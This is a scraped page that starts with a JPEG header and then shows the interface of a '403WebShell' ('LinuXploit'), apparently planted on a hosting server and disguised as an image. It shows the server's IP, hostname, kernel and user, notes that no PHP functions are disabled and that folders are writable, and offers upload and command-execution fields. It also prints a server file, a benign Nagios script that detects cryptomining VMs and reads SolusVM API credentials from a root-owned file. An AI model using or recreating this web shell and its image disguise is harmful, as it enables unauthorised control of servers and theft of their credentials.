����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.144.162.109
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/extra/check_mining_kvm
#!/bin/bash
export LC_ALL="en_US.UTF-8" # this is required because icinga user has ru locale and calculations/grep fail

HOURS='4'
CRIT='90'
while [ ! -z "$1" ]; do
    case $1 in
        --hours)     shift; HOURS=$1 ;;
        --crit)      shift; CRIT=$1  ;;
        *)         echo "Unknown parameter, exiting"; exit 1 ;;
    esac
    shift
done

## get data for API
while IFS='=' read -r key value; do
    case "$key" in
        pass) password=$value ;;
        host) host=$value     ;;
        user) user=$value     ;;
    esac
done < '/root/.solusvm_custom_api'

PERFDATA=
VMS=$(virsh list --name)
if [ -z "$VMS" ]; then
    echo 'OK'
    exit
fi
WLFILE='/etc/icinga2/plinc/kvm_mining_whitelist'
touch $WLFILE
SKIP_TIME=$(( $HOURS*3600  ))
for VM in $VMS; do
    VM_PROC=$(ps aux | grep "guest=$VM\,")
    if [ -z "$VM_PROC" ]; then
        continue # the VM can be stopped upon executing script, so better check for process existance
    fi
    VM_PID=$(echo "$VM_PROC" | awk '{print $2}')
    VM_UPTIME=$(ps -o etimes= -p $VM_PID)
    [[ "$SKIP_TIME" -gt "$VM_UPTIME" ]] && continue
    VM_VCPU_INFO=$(virsh vcpuinfo $VM)
    VM_CPU_USED=$(echo "$VM_VCPU_INFO" | grep 'CPU time' | tr -d 's' | awk '{sum+=$3} END {printf("%.0f\n", sum)}')
    VM_CORES=$(echo "$VM_VCPU_INFO" | grep -c VCPU)
    VM_CPU_LIMIT=$(echo "scale=0;$VM_CORES*$VM_UPTIME" | bc -l)
    VM_PERCENT=$(echo "scale=2;$VM_CPU_USED/$VM_CPU_LIMIT*100" | bc -l)
    PERFDATA+=$(echo "CPU_USAGE_${VM}=$VM_PERCENT;;; ")
    [[ $(grep ^$VM$ $WLFILE) ]] && continue # handle whitelisted VMs
    if [ $VM_PERCENT == '0' ]; then
        continue
    fi
    if [ $(printf '%.0f\n' $VM_PERCENT) -ge $CRIT ]; then
        VM_UUID=$(virsh domuuid $VM)
        VM_IP=$(curl -s -X GET https://${user}:${password}@${host}:5697/vpsip-by-name/${VM_UUID} |jq -r .[])
        VM_UPTIME_VERBOSE=$(echo $((VM_UPTIME/86400))" days "$(date -d "1970-01-01 + $VM_UPTIME seconds" "+%H hours %M minutes"))
        INCIDENTS+=("$VM/$VM_IP uses ${VM_PERCENT}% of available CPU during $VM_UPTIME_VERBOSE")
    fi
done

unset LC_ALL
if [ ${#INCIDENTS[@]} -ne 0 ]; then
    echo 'WARNING:'
    printf '%s\n' "${INCIDENTS[@]} | $PERFDATA"
    exit 1
fi

echo "OK | $PERFDATA"

Youez - 2016 - github.com/yon3zu
LinuXploit